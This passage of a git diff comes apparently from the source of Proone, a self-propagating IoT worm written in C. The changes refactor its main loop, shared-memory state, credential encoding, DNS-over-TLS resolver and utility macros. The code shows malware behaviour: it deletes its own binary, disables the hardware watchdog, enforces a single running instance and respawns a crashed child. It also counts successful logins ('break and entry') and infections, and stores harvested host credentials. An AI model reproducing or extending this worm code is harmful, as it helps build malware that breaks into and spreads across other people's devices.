prne_s_g->infect_cnt = 0; - prne_s_g->ny_bin_name[0] = 0; + return ret; +} + +static void deinit_shared_global (void) { + if (prne_s_g != NULL) { + munmap(prne_s_g, sizeof(struct prne_shared_global)); + prne_s_g = NULL; + } + prne_close(prne_g.shm_fd); + prne_g.shm_fd = -1; } static void init_ids (void) { @@ -309,12 +525,35 @@ static void init_ids (void) { prne_close(fd); } +static void set_host_credential (const char *str) { + if (prne_s_g == NULL) { + return; + } + + strncpy(prne_s_g->host_cred_data, str, sizeof(prne_s_g->host_cred_data) - 1); +} + static void run_ny_bin (void) { + sigset_t old_ss; + bool has_ss; + + // Clean the house for the new image. + // Free any resource that survives exec() call. + deinit_shared_global(); + has_ss = sigprocmask(SIG_UNBLOCK, &ss_all, &old_ss) == 0; + // TODO + + // exec() failed + // Restore previous condifion + if (has_ss) { + sigprocmask(SIG_BLOCK, &old_ss, NULL); + } + init_shared_global(); } -int main (const int argc, char **args) { +int main (const int argc, const char **args) { static int exit_code = 0; static bool loop = true; @@ -326,14 +565,11 @@ int main (const int argc, char **args) { sigaddset(&ss_all, SIGTERM); sigaddset(&ss_all, SIGCHLD); - prne_g.host_cred_data = NULL; - prne_g.host_cred_size = 0; prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC); - prne_g.run_cnt = 0; prne_g.resolv = NULL; prne_g.parent_pid = getpid(); prne_g.child_pid = 0; - prne_g.lock_shm_fd = -1; + prne_g.shm_fd = -1; prne_g.bin_ready = false; prne_g.is_child = false; prne_init_bin_archive(&prne_g.bin_archive); @@ -350,27 +586,25 @@ int main (const int argc, char **args) { mbedtls_pk_init(&prne_g.c_ssl.pk); prne_g.c_ssl.ready = false; - // inits that need no outside resources - prne_init_dvault(); - set_env(); + init_proone(args[0]); /* inits that need outside resources. IN THIS ORDER! */ load_ssl_conf(); seed_ssl_rnd(NULL, 0); init_ids(); - init_shared_global(); - delete_myself(args[0]); - disasble_watchdog(); - - if (!ensure_single_instance()) { - prne_dbgpf("*** ensure_single_instance() returned false."); + if (!init_shared_global()) { + prne_dbgpf("*** Another instance detected.\n"); exit_code = 1; goto END; } + delete_myself(args[0]); + disasble_watchdog(); + - setup_bin_archive(); // load data from stdin - read_host_credential(); + if (argc > 1) { + set_host_credential(args[1]); + } // done with the terminal prne_close(STDIN_FILENO); @@ -385,16 +619,12 @@ int main (const int argc, char **args) { while (loop) { prne_g.child_pid = fork(); - if (prne_g.child_pid >= 0) { - prne_g.run_cnt += 1; - } - if (prne_g.child_pid > 0) { static int status; static bool has_ny_bin; static int caught_signal = 0; - status = 0; // FIXME: libc bug? + status = 0; // TODO FIXME: libc bug? do { prne_assert(sigwait(&ss_all, &caught_signal) == 0); @@ -415,6 +645,10 @@ int main (const int argc, char **args) { has_ny_bin = strlen(prne_s_g->ny_bin_name) > 0; + if (!(WIFEXITED(status) && WEXITSTATUS(status) == 0)) { + prne_s_g->crash_cnt += 1; + } + if (WIFEXITED(status)) { prne_dbgpf("* child process %d exited with code %d!\n", prne_g.child_pid, WEXITSTATUS(status)); if (WEXITSTATUS(status) == 0) { @@ -432,15 +666,15 @@ int main (const int argc, char **args) { } if (has_ny_bin) { - shm_unlink(prne_s_g->ny_bin_name); - memzero(prne_s_g->ny_bin_name, sizeof(prne_s_g->ny_bin_name)); + unlink(prne_s_g->ny_bin_name); + prne_s_g->ny_bin_name[0] = 0; } sleep(1); } else { - prne_close(prne_g.lock_shm_fd); - prne_g.lock_shm_fd = -1; + prne_close(prne_g.shm_fd); + prne_g.shm_fd = -1; prne_g.is_child = true; prne_g.child_start = prne_gettime(CLOCK_MONOTONIC); @@ -467,18 +701,8 @@ END: mbedtls_ctr_drbg_free(&prne_g.ssl.rnd); mbedtls_entropy_free(&prne_g.ssl.entpy); - prne_free(prne_g.host_cred_data); - prne_g.host_cred_data = NULL; - prne_g.host_cred_size = 0; - - if (prne_g.lock_shm_fd >= 0) { - shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL)); - prne_dvault_reset_dict(); - prne_close(prne_g.lock_shm_fd); - prne_g.lock_shm_fd = -1; - } - - prne_deinit_dvault(); + deinit_shared_global(); + deinit_proone(); return exit_code; } diff --git a/src/proone.h b/src/proone.h index 1516e56..e551e14 100644 --- a/src/proone.h +++ b/src/proone.h @@ -13,12 +13,9 @@ #include -struct prne_global { - uint8_t *host_cred_data; - size_t host_cred_size; +struct prne_global { // TODO: tidy init code when finalised struct timespec parent_start; struct timespec child_start; - uint_fast64_t run_cnt; uint8_t boot_id[16]; uint8_t instance_id[16]; pth_t main_pth; @@ -28,7 +25,12 @@ struct prne_global { prne_resolv_t *resolv; pid_t parent_pid; pid_t child_pid; - int lock_shm_fd; + int shm_fd; + uint8_t *m_dvault; + const uint8_t *m_exec; + size_t exec_size; + const uint8_t *m_exec_dvault; + uint16_t dvault_size; bool bin_ready; bool is_child; @@ -55,12 +57,17 @@ struct prne_global { }; struct prne_shared_global { + // Format Revision + uint8_t rev; + // Number of child process crash. + uint32_t crash_cnt; // "break and entry" count. Number of successful logins. - uint_fast64_t bne_cnt; + uint64_t bne_cnt; // Number of successful infections. - uint_fast64_t infect_cnt; + uint64_t infect_cnt; // null-terminated name of new binary - char ny_bin_name[20]; + char ny_bin_name[256]; + char host_cred_data[256]; }; static const intptr_t PRNE_RESOLV_WKR_ID = 0; @@ -68,4 +75,5 @@ static const intptr_t PRNE_HTBT_WKR_ID = 1; extern struct prne_global prne_g; +// TODO: could be NULL on some environments extern struct prne_shared_global *prne_s_g; diff --git a/src/protocol.c b/src/protocol.c index 56d6d90..2dbfd79 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -45,32 +45,10 @@ const char *prne_arch_tostr (const prne_arch_t x) { } prne_arch_t prne_arch_fstr (const char *str) { - if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_AARCH64))) { - return PRNE_ARCH_AARCH64; - } - if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_ARMV4T))) { - return PRNE_ARCH_ARMV4T; - } - if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_ARMV7))) { - return PRNE_ARCH_ARMV7; - } - if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_I686))) { - return PRNE_ARCH_I686; - } - if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_X86_64))) { - return PRNE_ARCH_X86_64; - } - if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_MIPS))) { - return PRNE_ARCH_MIPS; - } - if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_MPSL))) { - return PRNE_ARCH_MPSL; - } - if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_PPC))) { - return PRNE_ARCH_PPC; - } - if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_SH4))) { - return PRNE_ARCH_SH4; + for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { + if (prne_nstreq(str, prne_arch_tostr(i))) { + return i; + } } return PRNE_ARCH_NONE; @@ -175,60 +153,42 @@ prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t * return PRNE_HTBT_SER_RC_FMT_ERR; } - *actual = 3 + id_len + pw_len; + *actual = 2 + id_len + pw_len; if (len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } - data[0] = salt; - data[1] = (uint8_t)id_len; - data[2] = (uint8_t)pw_len; - memcpy(data + 3, in->id, id_len); - memcpy(data + 3 + id_len, in->pw, pw_len); - prne_dvault_invert_mem(id_len + pw_len + 2, data + 1, salt); + data[0] = (uint8_t)id_len; + data[1] = (uint8_t)pw_len; + memcpy(data + 2, in->id, id_len); + memcpy(data + 2 + id_len, in->pw, pw_len); return PRNE_HTBT_SER_RC_OK; } prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out) { - uint8_t *in = NULL; - size_t in_len; prne_htbt_ser_rc_t ret = PRNE_HTBT_SER_RC_OK; char *id = NULL, *pw = NULL; - if (!(3 <= len && len <= 3 + 255 + 255)) { + if (!(2 <= len && len <= 2 + 255 + 255)) { return PRNE_HTBT_SER_RC_FMT_ERR; } - in_len = len - 1; - in = (uint8_t*)prne_malloc(1, in_len); - if (in == NULL) { - return PRNE_HTBT_SER_RC_ERRNO; - } - memcpy(in, data + 1, in_len); - - prne_dvault_invert_mem(in_len, in, data[0]); - if ((uint_fast16_t)in[0] + (uint_fast16_t)in[1] > in_len - 2) { - ret = PRNE_HTBT_SER_RC_FMT_ERR; - goto END; - } - - id = prne_alloc_str(in[0]); - pw = prne_alloc_str(in[1]); + id = prne_alloc_str(data[0]); + pw = prne_alloc_str(data[1]); if (id == NULL || pw == NULL) { ret = PRNE_HTBT_SER_RC_ERRNO; goto END; } - memcpy(id, in + 2, in[0]); - id[in[0]] = 0; - memcpy(pw, in + 2 + in[0], in[1]); - pw[in[1]] = 0; + memcpy(id, data + 2, data[0]); + id[data[0]] = 0; + memcpy(pw, data + 2 + data[0], data[1]); + pw[data[1]] = 0; out->id = id; out->pw = pw; id = pw = NULL; END: - prne_free(in); prne_free(id); prne_free(pw); diff --git a/src/resolv.c b/src/resolv.c index aa18f76..e839d59 100644 --- a/src/resolv.c +++ b/src/resolv.c @@ -6,6 +6,7 @@ #include "iset.h" #include "protocol.h" #include "mbedtls.h" +#include "config.h" #include #include @@ -35,12 +36,6 @@ typedef enum { RESOLV_CTX_STATE_FINALISED, } resolv_ctx_state_t; -typedef struct { - prne_net_endpoint_t *arr; - size_t cnt; - bool ownership; -} resolv_dnssrv_pool_t; - typedef struct { prne_resolv_t *owner; prne_llist_entry_t *qlist_ent; @@ -58,8 +53,8 @@ struct prne_resolv { size_t read_cnt_len; size_t write_cnt_len; struct pollfd act_sck_pfd; - size_t ptr_dnssrv4, ptr_dnssrv6; - resolv_dnssrv_pool_t dnssrv_4, dnssrv_6; + size_t ptr_nspool4, ptr_nspool6; + prne_resolv_ns_pool_t nspool4, nspool6; pth_mutex_t lock; pth_cond_t cond; resolv_ctx_state_t ctx_state; @@ -74,58 +69,50 @@ struct prne_resolv { } ssl; }; -#define DECL_CTX_PTR(p) prne_resolv_t *ctx = (prne_resolv_t*)p - -static const struct timespec RESOLV_RSRC_ERR_PAUSE = { 1, 0 }; // 1s -static const struct timespec RESOLV_CONN_ERR_PAUSE = { 0, 100 }; // 100ms -static const struct timespec RESOLV_QUERY_TIMEOUT = { 15, 0 }; // 15s -static const struct timespec RESOLV_SCK_OP_TIMEOUT = { 10, 0 }; // 10s -static const struct timespec RESOLV_SCK_IDLE_TIMEOUT = { 15, 0 }; // 15s -static const struct timespec RESOLV_SCK_CLOSE_TIMEOUT = { 1, 0 }; // 1s -static const size_t RESOLV_PIPELINE_SIZE = 4; - -static prne_net_endpoint_t DEF_IPV4_EP[] = { - // Google - { { { 0x8, 0x8, 0x8, 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, - { { { 0x8, 0x8, 0x4, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, - // Cloudflare - { { { 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, - { { { 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, - // Quad9 - { { { 0x9, 0x9, 0x9, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, - { { { 0x95, 0x70, 0x70, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, - // CleanBrowsing - { { { 0xb9, 0xe4, 0xa8, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, - { { { 0xb9, 0xe4, 0xa9, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 } +static prne_net_endpoint_t RESOLV_DEF_IPV4_EP_ARR[] = { + { { { PRNE_RESOLV_NS_IPV4_GOOGLE_A }, PRNE_IPV_4 }, 853 }, + { { { PRNE_RESOLV_NS_IPV4_GOOGLE_B }, PRNE_IPV_4 }, 853 }, + { { { PRNE_RESOLV_NS_IPV4_CLOUDFLARE_A }, PRNE_IPV_4 }, 853 }, + { { { PRNE_RESOLV_NS_IPV4_CLOUDFLARE_B }, PRNE_IPV_4 }, 853 }, + { { { PRNE_RESOLV_NS_IPV4_QUAD9_A }, PRNE_IPV_4 }, 853 }, + { { { PRNE_RESOLV_NS_IPV4_QUAD9_B }, PRNE_IPV_4 }, 853 }, + { { { PRNE_RESOLV_NS_IPV4_CLEANBROWSING_A }, PRNE_IPV_4 }, 853 }, + { { { PRNE_RESOLV_NS_IPV4_CLEANBROWSING_B }, PRNE_IPV_4 }, 853 } }; -static resolv_dnssrv_pool_t RESOLV_DEF_IPV4_POOL = { - DEF_IPV4_EP, - sizeof(DEF_IPV4_EP)/sizeof(prne_net_endpoint_t), +const prne_resolv_ns_pool_t PRNE_RESOLV_DEF_IPV4_POOL = { + RESOLV_DEF_IPV4_EP_ARR, + sizeof(RESOLV_DEF_IPV4_EP_ARR)/sizeof(prne_net_endpoint_t), false }; -static prne_net_endpoint_t DEF_IPV6_EP[] = { - // Google - { { { 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x88 }, PRNE_IPV_6 }, 853 }, - { { { 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x44 }, PRNE_IPV_6 }, 853 }, - // Cloudflare - { { { 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x11, 0x11 }, PRNE_IPV_6 }, 853 }, - { { { 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x1 }, PRNE_IPV_6 }, 853 }, - // Quad9 - { { { 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfe }, PRNE_IPV_6 }, 853 }, - { { { 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9 }, PRNE_IPV_6 }, 853 }, - // CleanBrowsing - { { { 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2 }, PRNE_IPV_6 }, 853 }, - { { { 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2 }, PRNE_IPV_6 }, 853 } +static prne_net_endpoint_t RESOLV_DEF_IPV6_EP_ARR[] = { + { { { PRNE_RESOLV_NS_IPV6_GOOGLE_A }, PRNE_IPV_6 }, 853 }, + { { { PRNE_RESOLV_NS_IPV6_GOOGLE_B }, PRNE_IPV_6 }, 853 }, + { { { PRNE_RESOLV_NS_IPV6_CLOUDFLARE_A }, PRNE_IPV_6 }, 853 }, + { { { PRNE_RESOLV_NS_IPV6_CLOUDFLARE_B }, PRNE_IPV_6 }, 853 }, + { { { PRNE_RESOLV_NS_IPV6_QUAD9_A }, PRNE_IPV_6 }, 853 }, + { { { PRNE_RESOLV_NS_IPV6_QUAD9_B }, PRNE_IPV_6 }, 853 }, + { { { PRNE_RESOLV_NS_IPV6_CLEANBROWSING_A }, PRNE_IPV_6 }, 853 }, + { { { PRNE_RESOLV_NS_IPV6_CLEANBROWSING_B }, PRNE_IPV_6 }, 853 } }; -static resolv_dnssrv_pool_t RESOLV_DEF_IPV6_POOL = { - DEF_IPV6_EP, - sizeof(DEF_IPV6_EP)/sizeof(prne_net_endpoint_t), +const prne_resolv_ns_pool_t PRNE_RESOLV_DEF_IPV6_POOL = { + RESOLV_DEF_IPV6_EP_ARR, + sizeof(RESOLV_DEF_IPV6_EP_ARR)/sizeof(prne_net_endpoint_t), false }; +#define DECL_CTX_PTR(p) prne_resolv_t *ctx = (prne_resolv_t*)p + +static const struct timespec RESOLV_RSRC_ERR_PAUSE = { 1, 0 }; // 1s +static const struct timespec RESOLV_CONN_ERR_PAUSE = { 0, 100 }; // 100ms +static const struct timespec RESOLV_QUERY_TIMEOUT = { 15, 0 }; // 15s +static const struct timespec RESOLV_SCK_OP_TIMEOUT = { 10, 0 }; // 10s +static const struct timespec RESOLV_SCK_IDLE_TIMEOUT = { 15, 0 }; // 15s +static const struct timespec RESOLV_SCK_CLOSE_TIMEOUT = { 1, 0 }; // 1s +static const size_t RESOLV_PIPELINE_SIZE = 4; + static int resolv_set_cmn_fd_opt (const int fd) { // TODO: no FD_CLOEXEC return fcntl(fd, F_SETFL, O_NONBLOCK) == 0 ? fcntl(fd, F_SETFD, FD_CLOEXEC) : -1; @@ -357,8 +344,8 @@ static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, prne_unint_pth_nanosleep(*pause); } if (change_srvr) { - ctx->ptr_dnssrv4 = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); - ctx->ptr_dnssrv6 = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); + ctx->ptr_nspool4 = resolv_next_pool_ptr(ctx, ctx->nspool4.cnt); + ctx->ptr_nspool6 = resolv_next_pool_ptr(ctx, ctx->nspool6.cnt); } } @@ -385,7 +372,7 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) { struct sockaddr_in6 addr; memzero(&addr, sizeof(addr)); - prne_net_ep_tosin6(ctx->dnssrv_6.arr + ctx->ptr_dnssrv4, &addr); + prne_net_ep_tosin6(ctx->nspool6.arr + ctx->ptr_nspool4, &addr); if (connect(pfs[0].fd, (const struct sockaddr*)&addr, sizeof(addr)) < 0 && errno != EINPROGRESS) { prne_close(pfs[0].fd); pfs[0].fd = -1; @@ -402,7 +389,7 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) { struct sockaddr_in addr; memzero(&addr, sizeof(addr)); - prne_net_ep_tosin4(ctx->dnssrv_4.arr + ctx->ptr_dnssrv6, &addr); + prne_net_ep_tosin4(ctx->nspool4.arr + ctx->ptr_nspool6, &addr); if (connect(pfs[1].fd, (const struct sockaddr*)&addr, sizeof(addr)) < 0 && errno != EINPROGRESS) { prne_close(pfs[1].fd); pfs[1].fd = -1; @@ -1184,12 +1171,8 @@ static void resolv_wkr_free (void *p) { return; } - if (ctx->dnssrv_4.ownership) { - prne_free(ctx->dnssrv_4.arr); - } - if (ctx->dnssrv_6.ownership) { - prne_free(ctx->dnssrv_6.arr); - } + prne_resolv_free_ns_pool(&ctx->nspool4); + prne_resolv_free_ns_pool(&ctx->nspool6); prne_free_llist(&ctx->qlist); prne_free_imap(&ctx->qid_map); mbedtls_ssl_config_free(&ctx->ssl.conf); @@ -1248,7 +1231,7 @@ static void *resolv_wkr_entry (void *p) { return NULL; } -prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg) { +prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg, const prne_resolv_ns_pool_t pool_v4, const prne_resolv_ns_pool_t pool_v6) { prne_resolv_t *ctx = NULL; if (wkr == NULL || ctr_drbg == NULL) { @@ -1272,10 +1255,10 @@ prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context * pth_mutex_init(&ctx->lock); pth_cond_init(&ctx->cond); - ctx->dnssrv_4 = RESOLV_DEF_IPV4_POOL; - ctx->dnssrv_6 = RESOLV_DEF_IPV6_POOL; - ctx->ptr_dnssrv4 = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); - ctx->ptr_dnssrv6 = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); + ctx->nspool4 = pool_v4; + ctx->nspool6 = pool_v6; + ctx->ptr_nspool4 = resolv_next_pool_ptr(ctx, ctx->nspool4.cnt); + ctx->ptr_nspool6 = resolv_next_pool_ptr(ctx, ctx->nspool6.cnt); if (mbedtls_ssl_config_defaults(&ctx->ssl.conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) != 0) { goto ERR; } @@ -1352,6 +1335,37 @@ void prne_resolv_free_prm (prne_resolv_prm_t *prm) { prm->fut = NULL; } +void prne_resolv_init_ns_pool (prne_resolv_ns_pool_t *pool) { + pool->arr = NULL; + pool->cnt = 0; + pool->ownership = true; +} + +void prne_resolv_free_ns_pool (prne_resolv_ns_pool_t *pool) { + if (pool->ownership) { + prne_free(pool->arr); + } + pool->arr = NULL; + pool->cnt = 0; + pool->ownership = true; +} + +bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt) { + void *ny; + + ny = prne_realloc(pool->ownership ? pool->arr : NULL, sizeof(prne_net_endpoint_t), cnt); + if (ny != NULL) { + pool->arr = (prne_net_endpoint_t*)ny; + pool->cnt = cnt; + pool->ownership = true; + memzero(pool->arr, cnt * sizeof(prne_net_endpoint_t)); + + return true; + } + + return false; +} + void prne_resolv_init_prm (prne_resolv_prm_t *prm) { prm->ctx = NULL; prm->fut = NULL; diff --git a/src/resolv.h b/src/resolv.h index 650406c..c62c642 100644 --- a/src/resolv.h +++ b/src/resolv.h @@ -7,6 +7,7 @@ struct prne_resolv; typedef struct prne_resolv prne_resolv_t; +typedef struct prne_resolv_ns_pool prne_resolv_ns_pool_t; struct prne_resolv_prm; struct prne_resolv_fut; @@ -40,6 +41,12 @@ typedef enum { NB_PRNE_RESOLV_QT } prne_resolv_query_type_t; +struct prne_resolv_ns_pool { + prne_net_endpoint_t *arr; + size_t cnt; + bool ownership; +}; + struct prne_resolv_prm { void *ctx; prne_resolv_fut_t *fut; @@ -61,6 +68,13 @@ struct prne_resolv_rr { uint16_t rd_len; }; +/* Default Nameserver Pools +* +* For testing only. Referencing these will increase the size of the binary. +*/ +extern const prne_resolv_ns_pool_t PRNE_RESOLV_DEF_IPV4_POOL; +extern const prne_resolv_ns_pool_t PRNE_RESOLV_DEF_IPV6_POOL; + // honor bind-utils' choice of words #define PRNE_RESOLV_RCODE_NOERROR 0 #define PRNE_RESOLV_RCODE_FORMERR 1 @@ -79,10 +93,13 @@ struct prne_resolv_rr { #define PRNE_RESOLV_RTYPE_AAAA 28 -prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg); +prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg, const prne_resolv_ns_pool_t pool_v4, const prne_resolv_ns_pool_t pool_v6); bool prne_resolv_prm_gethostbyname (prne_resolv_t *ctx, const char *name, const prne_ipv_t ipv, prne_pth_cv_t *cv, prne_resolv_prm_t *out); bool prne_resolv_prm_gettxtrec (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out); +void prne_resolv_init_ns_pool (prne_resolv_ns_pool_t *pool); +void prne_resolv_free_ns_pool (prne_resolv_ns_pool_t *pool); +bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt); void prne_resolv_init_prm (prne_resolv_prm_t *prm); void prne_resolv_free_prm (prne_resolv_prm_t *prm); void prne_init_resolv_fut (prne_resolv_fut_t *fut); diff --git a/src/run-tests.sh b/src/run-tests.sh new file mode 100755 index 0000000..aa51958 --- /dev/null +++ b/src/run-tests.sh @@ -0,0 +1,12 @@ +#!/bin/sh +for t in $(cat testlist); do + + echo "Running $t ... " + "./$t" + ret=$? + if [ $ret -eq 0 ]; then + echo "OK"; + else + echo "FAIL: $ret" + fi +done diff --git a/src/util_ct.h b/src/util_ct.h index cd21a12..b408808 100644 --- a/src/util_ct.h +++ b/src/util_ct.h @@ -1,14 +1,20 @@ #pragma once #include #include +#include +#ifdef PRNE_DEBUG +#include +#include +#endif -#define PRNE_LIMIT_ENUM(t,x,l) _Static_assert(x <= l,"enum overflow: "#t) +#define PRNE_LIMIT_ENUM(t,x,l) _Static_assert((x) <= (l),"enum overflow: "#t) -#define prne_op_min(a, b) (a < b ? a : b) -#define prne_op_max(a, b) (a > b ? a : b) -#define prne_op_spaceship(a, b) (a == b ? 0 : a < b ? -1 : 1) +#define prne_op_min(a, b) ((a) < (b) ? (a) : (b)) +#define prne_op_max(a, b) ((a) > (b) ? (a) : (b)) +#define prne_op_spaceship(a, b) ((a) == (b) ? 0 : (a) < (b) ? -1 : 1) -#define prne_malign_to(x, align) ((x % align == 0) ? x : (x / align + 1) * align) +#define prne_salign_next(x, align) (((x) % align == 0) ? (x) : ((x) / align + 1) * align) +#define prne_salign_at(x, align) (((x) % align == 0) ? (x) : ((x) / align) * align) #if !defined(memzero) #define memzero(addr, len) memset(addr, 0, len) @@ -17,7 +23,52 @@ #ifdef PRNE_DEBUG #define prne_dbgpf(...) fprintf(stderr, __VA_ARGS__) #define prne_dbgperr(str) perror(str) +#define prne_assert(expr) assert(expr) +#define prne_massert(expr, ...)\ + if (!(expr)) {\ + fprintf(stderr, "*** ");\ + fprintf(stderr, __VA_ARGS__);\ + fprintf(stderr, "\n");\ + abort();\ + } +#define prne_dbgast(expr) prne_assert(expr) +#define prne_dbgmast(expr, ...) prne_massert(expr, __VA_ARGS__) #else -#define prne_dbgpf(fmt, ...) +#define prne_dbgpf(...) #define prne_dbgperr(str) +#define prne_assert(expr)\ + if (!(expr)) {\ + abort();\ + } +#define prne_massert(expr, ...) prne_assert(expr) +#define prne_dbgast(expr) +#define prne_dbgmast(expr, ...) +#endif + +/* Machine Characteristics +*/ +#define PRNE_ENDIAN_LITTLE 1 +#define PRNE_ENDIAN_BIG 2 + +#ifdef __GNUC__ + #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ + #define PRNE_HOST_ENDIAN PRNE_ENDIAN_BIG + #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ + #define PRNE_HOST_ENDIAN PRNE_ENDIAN_LITTLE + #else + #error "FIXME!" + #endif +#else + #error "FIXME!" +#endif + +#define prne_einv16(x) (((0xFF00 & x) >> 8) | ((0x00FF & x) << 8)) + +#if PRNE_HOST_ENDIAN == PRNE_ENDIAN_BIG +#define prne_htobe16(x) (x) +#define prne_be16toh(x) (x) +#elif PRNE_HOST_ENDIAN == PRNE_ENDIAN_LITTLE +#define prne_htobe16(x) prne_einv16(x) +#define prne_be16toh(x) prne_einv16(x) +#else #endif diff --git a/src/util_rt.c b/src/util_rt.c index d42cc7d..6d44f52 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -1,6 +1,5 @@ #include "util_rt.h" -#include // TODO: remove dep #include #include #include @@ -16,16 +15,6 @@ #include -void prne_assert (const bool ret) { - if (!ret) { - volatile const int err = errno; - - if (true || err) { - abort(); - } - } -} - void prne_empty_func (void) {} void prne_close (const int fd) { @@ -104,11 +93,9 @@ size_t prne_getpagesize (void) { long ret; ret = sysconf(_SC_PAGESIZE); - if (ret > 0) { - return ret; - } + prne_massert(ret > 0, "sysconf(_SC_PAGESIZE) failed."); - return 4096; + return (size_t)ret; } bool prne_nstreq (const char *a, const char *b) { @@ -372,57 +359,6 @@ bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, return true; } -void prne_init_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx) { - ctx->line_len = 0; - ctx->out_len = 0; -} - -void prne_free_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx) { - ctx->line_len = 0; - ctx->out_len = 0; -} - -prne_pack_ret_t prne_stdin_base64_rf (void *in_ctx, const size_t req, uint8_t *out, size_t *out_len) { - prne_stdin_base64_rf_ctx_t *ctx = (prne_stdin_base64_rf_ctx_t*)in_ctx; - size_t rem = req, have; - prne_pack_ret_t ret; - - ret.rc = PRNE_PACK_RC_OK; - ret.err = 0; - *out_len = 0; - - while (true) { - have = prne_op_min(rem, ctx->out_len); - memcpy(out, ctx->out_buf, have); - memmove(ctx->out_buf, ctx->out_buf + have, ctx->out_len - have); - rem -= have; - ctx->out_len -= have; - out += have; - *out_len += have; - - if (rem == 0) { - break; - } - - if (fgets(ctx->line_buf, sizeof(ctx->line_buf), stdin) == NULL) { - if (feof(stdin)) { - break; - } - ret.rc = PRNE_PACK_RC_ERRNO; - ret.err = errno; - break; - } - ctx->line_len = prne_str_shift_spaces(ctx->line_buf, strlen(ctx->line_buf)); - - if ((ret.err = mbedtls_base64_decode(ctx->out_buf, sizeof(ctx->out_buf), &ctx->out_len, (unsigned char*)ctx->line_buf, ctx->line_len)) != 0) { - ret.rc = PRNE_PACK_RC_MBEDTLS_ERR; - break; - 